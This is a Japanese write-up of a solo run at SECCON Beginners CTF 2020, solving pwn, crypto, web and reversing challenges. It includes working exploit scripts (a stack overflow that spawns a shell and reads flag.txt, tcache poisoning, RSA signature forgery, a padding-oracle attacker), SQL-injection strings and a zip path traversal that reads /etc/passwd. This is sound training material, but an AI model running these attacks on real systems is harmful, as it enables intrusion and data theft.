概要
Beginners CTF 2020 に1人チームで参加した。
第3回 SECCON Beginners CTF(5月23日)登録開始しました - SECCON2019
23問中14問解くことができ、2466点で34位(/1009)だった。
解けた問題
Pwn
Beginner's Stack
ELFファイルが与えられ、それが動いていると推測できるサーバーが用意された。
ELFファイルは、tdm-gccのobjdump
を用いることで、
普通に-d
オプションを用いるだけで逆アセンブルを行えた。
また、サーバーに接続すると、以下のような出力が得られた。
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffdd57de700 | 0x00007f91e5a809a0 | <-- buf
+--------------------+
0x00007ffdd57de708 | 0x0000000000000000 |
+--------------------+
0x00007ffdd57de710 | 0x0000000000000000 |
+--------------------+
0x00007ffdd57de718 | 0x00007f91e5c99170 |
+--------------------+
0x00007ffdd57de720 | 0x00007ffdd57de730 | <-- saved rbp (vuln)
+--------------------+
0x00007ffdd57de728 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffdd57de730 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffdd57de738 | 0x00007f91e56a0b97 | <-- return address (main)
+--------------------+
0x00007ffdd57de740 | 0x0000000000000001 |
+--------------------+
0x00007ffdd57de748 | 0x00007ffdd57de818 |
+--------------------+
Input:
この情報をもとに、buf
に適当な情報を書き込むことでwin
を呼べばよさそうである。
また、逆アセンブルの結果より、buf
への書き込み(入力の読み込み)はvuln
の中で行われているようである。
return address (vuln)
の値はmain
関数内のvuln
の呼び出しの次の命令のアドレスになるはずであり、
そこからwin
までのアドレスの差は一定だと考えられた。
400849: e8 59 ff ff ff callq 4007a7 <vuln>
40084e: 48 8d 3d 40 03 00 00 lea 0x340(%rip),%rdi # 400b95 <_IO_stdin_used+0x45>
0000000000400861 <win>:
400861: 55 push %rbp
400862: 48 89 e5 mov %rsp,%rbp
400865: 48 83 ec 10 sub $0x10,%rsp
400869: 48 89 e0 mov %rsp,%rax
これに基づき、saved rbp (vuln)
の値を維持しつつ、
return address (vuln)
の値をreturn address (vuln)
の値に基づいて補正したwin
の位置にするようにした。
すると、
Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
と出てしまった。(hack.py
:省略)
そこで、飛ばす先を400861
ではなく、プロローグを飛ばした400865
にした。
すると、固まるようになってしまった。
そこでwin
の中身を調べると、system("/bin/sh");
を実行しているようであった。
これに基づき、シェルに渡すコマンドを送って操作するようにしたところ、flagを得ることができた。
import sys
import struct
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("bs.quals.beginners.seccon.jp", 9001))
sock_data = ""
while "Input: " not in sock_data:
sock_data += sock.recv(4096).decode()
print(sock_data)
rbp = 0
ret_addr = 0
for line in sock_data.split("\n"):
if "saved rbp (vuln)" in line:
rbp = int(line.split("|")[1].strip()[2:], 16)
elif "return address (vuln)" in line:
ret_addr = int(line.split("|")[1].strip()[2:], 16)
if rbp == 0 or ret_addr == 0:
print("error!")
sys.exit(1)
win_addr = ret_addr + 0x400865 - 0x40084e
data = b"12345678123456781234567812345678" + struct.pack("<QQ", rbp, win_addr)
sock.sendall(data)
sock.sendall(b"\n")
sock.sendall(b"pwd\n")
sock.sendall(b"ls\n")
sock.sendall(b"cat flag.txt\n")
sock.sendall(b"exit\n")
while True:
got = sock.recv(4096)
if got == b'':
break
else:
sys.stdout.write(got.decode())
sock.close()
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
Beginner's Heap
サーバーが用意されている。このサーバーでは以下のことができる。
- 領域
A
にデータを書き込む - 領域
B
を確保し、データを書き込む - 領域
B
を開放する - 領域
A
のまわりの様子を表示する -
tcache
の情報を表示する - ヒントを出力する
また、__free_hook
とwin
の値が提示され、win
を呼び出せば成功であると書かれている。
試行錯誤の過程はよく覚えていないので結論だけ書くと、以下の手順でwin
を呼び出すことが可能である。
- 領域
B
を確保し、すぐに開放する。するとtcache
に領域B
があった場所のアドレスが乗る。 - 領域
A
へのデータの書き込みを用い、以下のデータを書き込む。
すると、なぜかtcache
にある領域B
があった場所のアドレスの次に__free_hook
の値が接続される。- 領域
B
があった場所の8バイト前に、0x0000000000000021
(書き込まれている値を維持) - 領域
B
があった場所に、提示された__free_hook
の値
- 領域
- 領域
B
を確保する。するとtcache
から領域B
があった場所のアドレスが消え、__free_hook
の値が先頭になる。 - 領域
A
へのデータの書き込みを用い、以下のデータを書き込む。
すると、なぜか通常領域B
を開放する時に行われるtcache
の更新が行われなくなる。- 領域
B
があった場所の8バイト前に、0x00000000000000C1
- 領域
B
があった場所に、0x0000000000000000
- 領域
- 領域
B
を開放する。前の手順の影響でtcache
は変化しない。 - 領域
B
を確保し、win
の値を書き込む。
このとき、tcache
にある__free_hook
の値が領域B
のアドレスとして用いられる。 - 領域
B
を開放する。__free_hook
に値を書き込んでfree()
したからか、win
が呼び出される。
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
Crypto
R&B
Pythonのソースコードとエンコードされたflag(文字列)が与えられる。
ソースコードを読むと、エンコードは
「"rot13"をして先頭にRをつける」「"base64"をして先頭にBをつける」
の2種類の操作を適当な順番で繰り返したものであるとわかる。
"rot13"は英文字をrot13、それ以外はそのままの変換をし、"base64"はBase64エンコードをする操作であると推測し、
逆変換を行う以下のプログラムを書いた。
import base64
data = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="
code_sa = ord("a")
code_sz = ord("z")
code_la = ord("A")
code_lz = ord("Z")
while True:
print(data)
if data[0] == 'R':
next = ""
for c in data[1:]:
code = ord(c)
if code_sa <= code and code <= code_sz:
next += chr((code - code_sa + 13) % 26 + code_sa)
elif code_la <= code and code <= code_lz:
next += chr((code - code_la + 13) % 26 + code_la)
else:
next += c
data = next
elif data[0] == 'B':
data = base64.b64decode(data[1:]).decode()
else:
break
ctf4b{rot_base_rot_base_rot_base_base}
Noisy equations
Pythonのソースコードが与えられ、アクセスするとその出力が得られるサーバーが用意された。
ソースコードを読むと、「可変の乱数列とflagの内積+固定の乱数」をflagの文字数個計算し、
「可変の乱数列」と計算結果が出力されることがわかる。
これは、可変の乱数列をcoeff
、固定の乱数をsomething
、計算結果をanswer
とすると、
coeff * flag + something = answer
と表現できる。
coeff
とanswer
は可変、something
は固定なので、2回実行してcoeff1
とcoeff2
、answer1
とanswer2
を得ると、
(coeff1 - coeff2) * flag = (answer1 - answer2)
という計算でsomething
を除去することができる。
あとは普通に連立方程式を解けば良い。
big primes for youで生成した素数を用い、整数の演算で解くことにした。
# big primes for you https://bigprimes.org/
mod_by = 459848412004946274356306485183359857361032742491896923629585255952493922412208486825240550011238935874684326642290944063500265214123667249152728042146109455850538580161790983896495562413130932101198508814722197148994345953602613606320984766332108361272858404562217425163294023722198155630685698344687
import sys
def inv(value):
ppl = mod_by
ppr = 0
pl = value
pr = 1
while pl > 1:
keisu = ppl // pl
nl = ppl % pl
nr = (ppr - pr * keisu) % mod_by
ppl = pl
pl = nl
ppr = pr
pr = nr
if pl == 1:
return pr
else:
print("error")
sys.exit(1)
def read_file(file):
f = open(file, "r")
ret = f.readlines()
f.close()
return ret
data1 = read_file("data1.txt" if len(sys.argv) < 2 else sys.argv[1])
data2 = read_file("data2.txt" if len(sys.argv) < 3 else sys.argv[2])
coeffs1 = [[int(x) for x in y.split(", ")] for y in data1[0].strip()[2:-2].split("], [")]
coeffs2 = [[int(x) for x in y.split(", ")] for y in data2[0].strip()[2:-2].split("], [")]
answers1 = [int(x) for x in data1[1].strip()[1:-1].split(", ")]
answers2 = [int(x) for x in data2[1].strip()[1:-1].split(", ")]
coeffs = [[(coeffs1[i][j] - coeffs2[i][j]) % mod_by for j in range(len(coeffs1[i]))] for i in range(len(coeffs1))]
answers = [(answers1[i] - answers2[i]) % mod_by for i in range(len(answers1))]
for i in range(len(coeffs)):
if coeffs[i][i] == 0:
print("bad luck")
sys.exit(1)
inv_value = inv(coeffs[i][i])
if (coeffs[i][i] * inv_value) % mod_by != 1:
print("bug")
sys.exit(1)
for j in range(len(coeffs[i])):
coeffs[i][j] = (coeffs[i][j] * inv_value) % mod_by
answers[i] = (answers[i] * inv_value) % mod_by
for j in range(i + 1, len(coeffs)):
value = coeffs[j][i]
for k in range(len(coeffs[j])):
coeffs[j][k] = (coeffs[j][k] - coeffs[i][k] * value) % mod_by
answers[j] = (answers[j] - answers[i] * value) % mod_by
for i in range(len(coeffs) - 1, -1, -1):
for j in range(i - 1, -1, -1):
answers[j] = (answers[j] - answers[i] * coeffs[j][i]) % mod_by
print(answers)
answer2 = ""
for a in answers:
answer2 += chr(a)
print(answer2)
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
RSA Calc
Pythonのソースコードが与えられ、それが動いていると考えられるサーバーが用意された。
サーバーには Sign / Exec / Exit のメニューがあった。
Signを選ぶと、文字列を入力してそれに対応するデータ(signature)を得ることができるが、
F
または1337
を含む文字列は弾かれるようであった。
Execを選ぶと、カンマ区切りの逆ポーランド記法の式の計算ができるようであった。
そして、これを用い、F(1337)
すなわち1337,F
の計算をすればflagが得られるようであった。
また、式とともにsignatureの入力も要求され、式とsignatureが対応したものでなければ弾かれるようであった。
したがって、直接入力せずに1337,F
に対応するsignatureを求められればいいことがわかる。
なお、1337
は計算で作れそうであるが、F
は厳しそうである。
生成の仕組みを詳しく見ていく。
接続すると、最初にN
の値が出力される。
signatureの生成は、dataを入力文字列の数値表現として、signature = (data ** d) mod N
である。
RSA暗号運用でやってはいけない n のこと #ssmjp
を参考にすると、これはm = (c ^ d) mod N
の形であり、(ほぼ)任意のc
に対応するm
を求めることができるので、
LSB Decryption Oracle Attackが使えそうだと思った。
しかし、よく見るとm
の偶奇だけではなく全体が得られるため、
RSAに対する適応的選択暗号文攻撃とパディング方式 - ももいろテクノロジー
で紹介されているように、適当な係数X
を用意することで、(X*data)**d == (X**d) * (data**d)
なので、
Y = (X ** d) mod N
およびZ = ((X*data) ** d) mod N
を用いてsignature = Z / Y
で求めることができる。
このとき、今回modを取る割る数は素数ではないので、
Y
の逆元を拡張ユークリッドの互除法で求めて掛けることで割り算を行う。
import sys
import struct
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("rsacalc.quals.beginners.seccon.jp", 10001))
sock_buffer = ""
def sock_readline():
global sock_buffer
while "\n" not in sock_buffer:
sock_buffer += sock.recv(4096).decode()
splitted = sock_buffer.split("\n", 2)
sock_buffer = splitted[1] if len(splitted) > 1 else ""
return splitted[0]
n_line = sock_readline()
if n_line[0:3] != "N: ":
print("received following line instead of N:")
print(n_line)
sock.close()
sys.exit(1)
N = int(n_line[3:])
def get_decoded(enc):
string_version = b""
enc2 = enc
while enc2 > 0:
string_version = struct.pack("B", enc2 & 0xff) + string_version
enc2 >>= 8
if b'\n' in string_version or b'\r' in string_version:
print("error: newline in encoded")
sock.close()
sys.exit(1)
# nazeka wakete nagete agenaito katamaru
sock.sendall(b'1\n')
sock.sendall(string_version + b'\n')
while True:
line = sock_readline()
if "Signature: " in line:
return int(line.split("Signature: ")[-1], 16)
e = 65537
c = 0x313333372C46 # 1337,F
mult = 0xdeadbeef
mult_sig = get_decoded(mult)
multed_sig =get_decoded(mult * c)
# multed_sig / mult_sig (mod N)
ppl = N
ppr = 0
pl = mult_sig
pr = 1
while pl > 1:
keisu = ppl // pl
nl = ppl % pl
nr = (ppr - pr * keisu) % N
ppl = pl
pl = nl
ppr = pr
pr = nr
if pl == 1:
print(hex(multed_sig * pr % N))
else:
print("error")
sock.close()
ctf4b{SIgn_n33ds_P4d&H4sh}
Encrypter
WebページのURLが与えられた。
Webページには Encrypt / Decrypt / Encrypted flag の3機能があるようだった。
Encryptを指定してEncrypt/Decryptボタンを押すと、base64と思われる文字列が出力された。
この出力文字列は、Inputの文字列がある程度長くなるごとに長くなるようだった。
また、出力される文字列はInputの文字列が同じでも毎回変わった。
base64デコードした時の長さは16バイトの倍数になっているようであった。
Encrypted flagを指定してEncrypt/Decryptボタンを押すと、Encryptと同様の文字列が出力された。
この出力文字列の長さはInputによらず一定と推測でき、文字通り暗号化されたflagであると予想できた。
Decryptは、InputにEncryptやEncrypted flagで出力された文字列を入れてEncrypt/Decryptボタンを押すと、
"ok. TODO: return the result without the flag"と出力された。
また、Inputの文字列を少し変えてみたとき、文字列の前の方を書き換えても同じメッセージが出るが、
後ろの方を書き換えると"error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt"と出るようであった。
「EVP_DecryptFinal_ex」でググった結果、
OpenSSLを使った暗号化 - kkAyatakaのメモ帳。
などが見つかった。
このサイトではAESを使っているようだったので、問題で使われているのもAESの可能性があると考えた。
もしAESが使われており、後ろの方を書き換えたときだけエラーになるのがパディングが壊れているからであるとすれば、
Padding Oracle Attackが使えそうだと思った。
WebページのHTMLより、このサイトの操作は/encrypt.php
にPOST
しており、
開発者ツールよりデータはJSON形式で投げていることがわかった。
そこで、それに基づいて実装を行った。
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use MIME::Base64;
my $host = "encrypter.quals.beginners.seccon.jp";
my $port = 80;
my $addr = sockaddr_in($port, inet_aton($host));
my $sock;
socket($sock, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die;
connect($sock, $addr) or die;
binmode($sock);
select($sock); $| = 1; select(STDOUT); # no buffering
sub decode {
my $data = $_[0];
my $encoded = encode_base64($data);
chomp($encoded);
my $data2 = "{\"mode\":\"decrypt\",\"content\":\"$encoded\"}";
print $sock "POST /encrypt.php HTTP/1.0\r\n";
print $sock "Host: $host\r\n";
print $sock "Connection: keep-alive\r\n";
print $sock "Content-Length: " . length($data2) . "\r\n";
print $sock "\r\n";
print $sock $data2;
my $ret = "";
for(;;) {
my $buffer;
read $sock, $buffer, 1;
$ret .= $buffer;
if ($ret =~ /Content-Length:\s*(\d+)\r\n/i && index($ret, "\r\n\r\n") >= 0) {
my $elen = int($1);
my $alen = length($ret) - index($ret, "\r\n\r\n") - 4;
if ($alen >= $elen) { last; }
}
}
if ($ret =~ /Connection:\s*close/i) {
close $sock;
socket($sock, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die;
connect($sock, $addr) or die;
binmode($sock);
select($sock); $| = 1; select(STDOUT); # no buffering
}
return $ret;
}
# "hello, world" -> aGVsbG8sIHdvcmxk
#my $data = decode_base64("1m0xfX+ht1MCvxmS0gDh7H2KNgh4TXwfZLVfIxYjDTE=");
# Encrypted flag
my $data = decode_base64("MOzlrluinL7hPRVRGTt55J7csZ9Lutik6Vnuqu2NbLbHvwoe3MGgtdrjXbTqxP09o8D4UBZork0fle5qY6PIiQ==");
my $start_time = time;
my @data_array = unpack("C*", $data);
my @decoded_array = ();
my @orig_array = ();
for (my $i = 0; $i < @data_array - 16; $i++) {
push(@orig_array, $data_array[$i]);
push(@decoded_array, 0);
}
for (my $offset = 0; $offset < @decoded_array; $offset += 16) {
for (my $p = 15; $p >= 0; $p--) {
for (my $i = $p + 1; $i < 16; $i++) {
$data_array[$offset + $i] = $data_array[$offset + $i] ^ (16 - ($p + 1)) ^ (16 - $p);
}
my $found = -1;
my $multi = 0;
for (my $i = 0; $i < 256; $i++) {
$data_array[$offset + $p] = $i;
my $data_str = pack("C*", @data_array);
my $test = &decode(substr($data_str, $offset, 32));
if (index($test, "TODO") >= 0) {
if ($found < 0) { $found = $i; } else { $multi = 1; }
}
}
if ($found < 0) {
die "not found\n";
}
if ($multi != 0) {
if ($p == 15) {
print "multiple found, retry...\n";
$data_array[$offset + $p - 1] = ($data_array[$offset + $p - 1] + 1) % 256;
$p++;
next;
} else {
die "multiple found\n";
}
}
$data_array[$offset + $p] = $found;
$decoded_array[$offset + $p] = (16 - $p) ^ $orig_array[$offset + $p] ^ $found;
printf("%d / %d found\n", $offset + (16 - $p), @data_array - 16);
}
}
close $sock;
my $pad = $decoded_array[@decoded_array - 1];
if ($pad > 16 || $pad == 0) {
die "padding error\n";
} else {
for (my $i = 1; $i <= $pad; $i++) {
if ($decoded_array[@decoded_array - $i] != $pad) {
die "padding error\n";
}
}
}
my $result = substr(pack("C*", @decoded_array), 0, @decoded_array - $pad);
print "\n$result\n";
printf("\ntook %ds\n", time() - $start_time);
このプログラムにより、約12分でflagが求まった。
行儀が悪かったりエラー処理が甘かったりする気がするが、今回は動いたのでヨシ!
また、keep-aliveを使用することで、毎回closeしていたhoge.pl
(省略)に比べて約2倍速くなった。
とはいえ、「リモートから総当たりをしないと解けない問題はありません。」という条件があるにもかかわらず、
このような総当りを行ってしまい、テストも含めて数万発程度?のクエリを投げつけてしまったのはおかしいのでは…?
他に解く人が少なそうな深夜に行ったし、障害も報告されていないようなのでヨ……………シ……………?????
ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}
Web
Spy
Webページのソースコードとユーザー名の候補リストが与えられるので、
Webページに存在するユーザー名の集合を当てる問題。
ソースコードを読むと、ユーザー名が存在する場合、
かつその場合のみ"adds salt and performs stretching so many times."をしている。
これは時間がかかりそうな処理である。
さらに、Webページではご丁寧に処理にかかった時間[sec]も表示してくれている。
ユーザー名ごとにこの時間(それぞれ1回試行)をまとめると、以下のようになった。
Arthur 0.0003479
Barbara 0.0003055
Christine 0.0003229
David 0.0002289
Elbert 0.6258968
Franklin 0.0002851
George 0.4262376
Harris 0.0002954
Ivan 0.0002989
Jane 0.0003361
Kevin 0.0003196
Lazarus 0.3334227
Marc 0.3122703
Nathan 0.0003351
Oliver 0.0002938
Paul 0.0002858
Quentin 0.0002866
Randolph 0.0003246
Scott 0.0003313
Tony 0.5475676
Ulysses 0.0003235
Vincent 0.0003615
Wat 0.0003503
Ximena 0.6145919
Yvonne 0.3931053
Zalmon 0.0002842
このうち明らかに時間が長くなっているものを集めた
{Elbert, George, Lazarus, Marc, Tony, Ximena, Yvonne}
が答えである。
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
Tweetstore
WebページのURLと、そのソースコードと考えられるファイルが与えられた。
ソースコードを見ると、postgresを使っており、DBのユーザー名がflagになっているようであった。
また、クエリは'
を\'
に置換しただけで文字列を直接SQL文に埋め込んでいた。
そのため、クエリに\'
を含めることで、この置換により\\'
となり、文字列を切ることが可能となる。
純正のSQLの一部が
var sql = "select url, text, tweeted_at from tweets"
となっているのに合わせ、
検索クエリを例えば\' union select text, url, tweeted_at from tweets --
とすることで、
おかしい検索結果を出すことが可能になった。
postgreでユーザー名を調べる方法を探したところ、
PostgreSQL/PostgreSQLのユーザ一覧情報を参照する方法 - 調べる.DB
があった。
しかし、以下の検索クエリは成功しなかった。
\' union select usename, usename, usename from pg_user --
\' union select usename, usesysid, passwd from pg_shadow --
他の方法を探すと、その他の関数があった。
これを用い、\' union select text, user, tweeted_at from tweets --
というクエリを用いることで、
ユーザー名(flag)を出すことに成功した。
ctf4b{is_postgres_your_friend?}
unzip
WebページのURLと、そのソースコードと考えられるファイルが与えられた。
ソースコードを見ると、そのセッションで展開したファイル名のファイルのみを見られるようになっているようだった。
例えばファイル123456789012345678901.txt
(中身は空)を入れたzipファイルを作り、
バイナリエディタでzipファイル中に格納されたファイル名(2箇所)を
../../../../../etc/passwd
に書き換えてアップロードすることで、/etc/passwd
の内容を見ることができた。
さらに、途中でヒントとしてdocker-compose.yml
が追加された。
その中に
volumes:
- ./public:/var/www/web
- ./uploads:/uploads
- ./flag.txt:/flag.txt
という部分があったため、flagは/flag.txt
にあると予想できた。
そこで、空のファイルaabaabaabaabaabflag.txt
を入れたzipファイルを作り、
バイナリエディタでzipファイル中に格納されたファイル名(2箇所)を
../../../../../flag.txt
に書き換えてアップロードすることで、/flag.txt
の内容を見ることができた。
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
Reversing
mask
ELFファイルが与えられた。
tdm-gccのobjdump
を用いることで、
普通に-d
オプションを用いるだけで逆アセンブルを行えた。
11cd: 48 8d 85 30 ff ff ff lea -0xd0(%rbp),%rax
11d4: 48 89 d6 mov %rdx,%rsi
11d7: 48 89 c7 mov %rax,%rdi
11da: e8 51 fe ff ff callq 1030 <strcpy@plt>
11df: 48 8d 85 30 ff ff ff lea -0xd0(%rbp),%rax
11e6: 48 89 c7 mov %rax,%rdi
11e9: e8 62 fe ff ff callq 1050 <strlen@plt>
11ee: 89 85 2c ff ff ff mov %eax,-0xd4(%rbp)
strcpy()
とstrlen()
を使っていることから、0xd0
に入力文字列、0xd4
にその長さを格納していると推測できる。
1200: c7 85 28 ff ff ff 00 movl $0x0,-0xd8(%rbp)
1207: 00 00 00
120a: eb 4c jmp 1258 <main+0xdf>
120c: 8b 85 28 ff ff ff mov -0xd8(%rbp),%eax
1212: 48 98 cltq
1214: 0f b6 84 05 30 ff ff movzbl -0xd0(%rbp,%rax,1),%eax
121b: ff
121c: 83 e0 75 and $0x75,%eax
121f: 89 c2 mov %eax,%edx
1221: 8b 85 28 ff ff ff mov -0xd8(%rbp),%eax
1227: 48 98 cltq
1229: 88 94 05 70 ff ff ff mov %dl,-0x90(%rbp,%rax,1)
1230: 8b 85 28 ff ff ff mov -0xd8(%rbp),%eax
1236: 48 98 cltq
1238: 0f b6 84 05 30 ff ff movzbl -0xd0(%rbp,%rax,1),%eax
123f: ff
1240: 83 e0 eb and $0xffffffeb,%eax
1243: 89 c2 mov %eax,%edx
1245: 8b 85 28 ff ff ff mov -0xd8(%rbp),%eax
124b: 48 98 cltq
124d: 88 54 05 b0 mov %dl,-0x50(%rbp,%rax,1)
1251: 83 85 28 ff ff ff 01 addl $0x1,-0xd8(%rbp)
1258: 8b 85 28 ff ff ff mov -0xd8(%rbp),%eax
125e: 3b 85 2c ff ff ff cmp -0xd4(%rbp),%eax
1264: 7c a6 jl 120c <main+0x93>
1266: 8b 85 2c ff ff ff mov -0xd4(%rbp),%eax
126c: 48 98 cltq
126e: c6 84 05 70 ff ff ff movb $0x0,-0x90(%rbp,%rax,1)
1275: 00
1276: 8b 85 2c ff ff ff mov -0xd4(%rbp),%eax
127c: 48 98 cltq
127e: c6 44 05 b0 00 movb $0x0,-0x50(%rbp,%rax,1)
0xd8
をループカウンタとして、入力文字列と0x75
をandしたデータを0x90
に、
入力文字列と0xeb
をandしたデータを0x50
に格納していることが読み取れる。
129e: 48 8d 85 70 ff ff ff lea -0x90(%rbp),%rax
12a5: 48 8d 35 81 0d 00 00 lea 0xd81(%rip),%rsi # 202d <_IO_stdin_used+0x2d>
12ac: 48 89 c7 mov %rax,%rdi
12af: e8 bc fd ff ff callq 1070 <strcmp@plt>
12b4: 85 c0 test %eax,%eax
12b6: 75 25 jne 12dd <main+0x164>
12b8: 48 8d 45 b0 lea -0x50(%rbp),%rax
12bc: 48 8d 35 88 0d 00 00 lea 0xd88(%rip),%rsi # 204b <_IO_stdin_used+0x4b>
12c3: 48 89 c7 mov %rax,%rdi
12c6: e8 a5 fd ff ff callq 1070 <strcmp@plt>
12cb: 85 c0 test %eax,%eax
12cd: 75 0e jne 12dd <main+0x164>
12cf: 48 8d 3d 93 0d 00 00 lea 0xd93(%rip),%rdi # 2069 <_IO_stdin_used+0x69>
12d6: e8 65 fd ff ff callq 1040 <puts@plt>
12db: eb 0c jmp 12e9 <main+0x170>
12dd: 48 8d 3d a0 0d 00 00 lea 0xda0(%rip),%rdi # 2084 <_IO_stdin_used+0x84>
12e4: e8 57 fd ff ff callq 1040 <puts@plt>
上記の操作で得られた文字列をあらかじめ決められた文字列と比較し、その結果に応じて文字列を出力している。
2回の比較のいずれかで不一致が出れば12dd
にジャンプして2084
の文字列を出力し、
両方一致すれば2069
の文字列を出力する。
ここで用いられている文字列は、ELFファイルからバイナリエディタで読み取ると、それぞれ
202d : atd4`qdedtUpetepqeUdaaeUeaqau
204b : c`b bk`kj`KbababcaKbacaKiacki
2069 : Correct! Submit your FLAG.
2084 : Wrong FLAG. Try again.
であった。よって、2個の文字列が一致するような入力がflagであると予想できる。
これに基づき、該当する入力を全探索するプログラムを書いた。
#include <stdio.h>
int main(void) {
const char* a = "atd4`qdedtUpetepqeUdaaeUeaqau";
const char* b = "c`b bk`kj`KbababcaKbacaKiacki";
int am = 0x75, bm = 0xeb;
int i;
for (i = 0; a[i] != '\0' && b[i] != '\0'; i++) {
int answer = -1;
int multi = 0;
int j;
for (j = 0; j < 256; j++) {
if ((j & am) == (unsigned char)a[i] && (j & bm) == (unsigned char)b[i]) {
if (answer < 0) {
answer = j;
} else {
if (!multi) printf("[MULTIPLE]");
multi = 1;
}
}
}
if (answer < 0) {
printf("[NONE]");
} else {
putchar(answer);
}
}
putchar('\n');
return 0;
}
ctf4b{dont_reverse_face_mask}
yakisoba
ELFファイルが与えられた。
tdm-gccのobjdump
を用いることで、
普通に-d
オプションを用いるだけで逆アセンブルを行えた。
6af: 48 8d 3d 45 0a 00 00 lea 0xa45(%rip),%rdi # 10fb <__cxa_finalize@plt+0xa8b>
6b6: 31 c0 xor %eax,%eax
6b8: 48 89 ee mov %rbp,%rsi
6bb: e8 a0 ff ff ff callq 660 <__isoc99_scanf@plt>
6c0: 85 c0 test %eax,%eax
6c2: 74 1a je 6de <__cxa_finalize@plt+0x6e>
6c4: 48 89 ef mov %rbp,%rdi
6c7: e8 54 01 00 00 callq 820 <__cxa_finalize@plt+0x1b0>
6cc: 85 c0 test %eax,%eax
6ce: 89 c3 mov %eax,%ebx
6d0: 75 25 jne 6f7 <__cxa_finalize@plt+0x87>
6d2: 48 8d 3d 2e 0a 00 00 lea 0xa2e(%rip),%rdi # 1107 <__cxa_finalize@plt+0xa97>
6d9: e8 52 ff ff ff callq 630 <puts@plt>
6de: 48 8b 54 24 28 mov 0x28(%rsp),%rdx
6e3: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx
6ea: 00 00
6ec: 89 d8 mov %ebx,%eax
6ee: 75 17 jne 707 <__cxa_finalize@plt+0x97>
6f0: 48 83 c4 38 add $0x38,%rsp
6f4: 5b pop %rbx
6f5: 5d pop %rbp
6f6: c3 retq
6f7: 48 8d 3d 02 0a 00 00 lea 0xa02(%rip),%rdi # 1100 <__cxa_finalize@plt+0xa90>
6fe: 31 db xor %ebx,%ebx
700: e8 2b ff ff ff callq 630 <puts@plt>
scanf()
により文字列を読み込んだ後、820
を呼び出し、
その返り値が0なら1107
の文字列を、非0なら1100
の文字列を出力することが読み取れる。
ELFファイルをバイナリエディタで見ると、1107
の文字列はCorrect!
、1100
の文字列はWrong!
である。
したがって、関数820
の返り値が0になる文字列が正解であると考えられる。
関数820
は一見長くて面食らうが、正解の文字列の最初はctf4b{
になるはずであることを利用して動作を追っていくと、
ブロックごとに最初から1文字ずつ判定し、正しい文字であれば次のブロックに進む構造になっていることがわかる。
なお、条件分岐は「cmp
のdestの値がsrcに比べてどうか」である。(例えば、jbe
ならdestがsrc以下ならジャンプする)
関数820
の冒頭は、以下のような感じである。
820: 0f b6 17 movzbl (%rdi),%edx
823: 80 fa 63 cmp $0x63,%dl
826: 74 50 je 878 <__cxa_finalize@plt+0x208>
828: 76 2e jbe 858 <__cxa_finalize@plt+0x1e8>
82a: 80 fa 96 cmp $0x96,%dl
82d: b8 36 00 00 00 mov $0x36,%eax
832: 74 1f je 853 <__cxa_finalize@plt+0x1e3>
834: 80 fa da cmp $0xda,%dl
837: b8 87 00 00 00 mov $0x87,%eax
83c: 74 15 je 853 <__cxa_finalize@plt+0x1e3>
83e: 80 fa 77 cmp $0x77,%dl
841: b8 49 00 00 00 mov $0x49,%eax
846: 74 28 je 870 <__cxa_finalize@plt+0x200>
848: b8 96 00 00 00 mov $0x96,%eax
84d: c3 retq
84e: b8 8b 00 00 00 mov $0x8b,%eax
853: f3 c3 repz retq
855: 0f 1f 00 nopl (%rax)
858: 80 fa 30 cmp $0x30,%dl
85b: b8 a5 00 00 00 mov $0xa5,%eax
860: 74 f1 je 853 <__cxa_finalize@plt+0x1e3>
862: 80 fa 4b cmp $0x4b,%dl
865: b8 c4 00 00 00 mov $0xc4,%eax
86a: 75 dc jne 848 <__cxa_finalize@plt+0x1d8>
86c: f3 c3 repz retq
86e: 66 90 xchg %ax,%ax
870: f3 c3 repz retq
872: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
878: 0f b6 57 01 movzbl 0x1(%rdi),%edx
87c: 80 fa 3e cmp $0x3e,%dl
87f: 74 5f je 8e0 <__cxa_finalize@plt+0x270>
881: 76 3d jbe 8c0 <__cxa_finalize@plt+0x250>
883: 80 fa 9c cmp $0x9c,%dl
886: b8 0f 00 00 00 mov $0xf,%eax
88b: 74 c6 je 853 <__cxa_finalize@plt+0x1e3>
88d: 80 fa c9 cmp $0xc9,%dl
890: b8 b8 00 00 00 mov $0xb8,%eax
895: 74 bc je 853 <__cxa_finalize@plt+0x1e3>
897: 80 fa 74 cmp $0x74,%dl
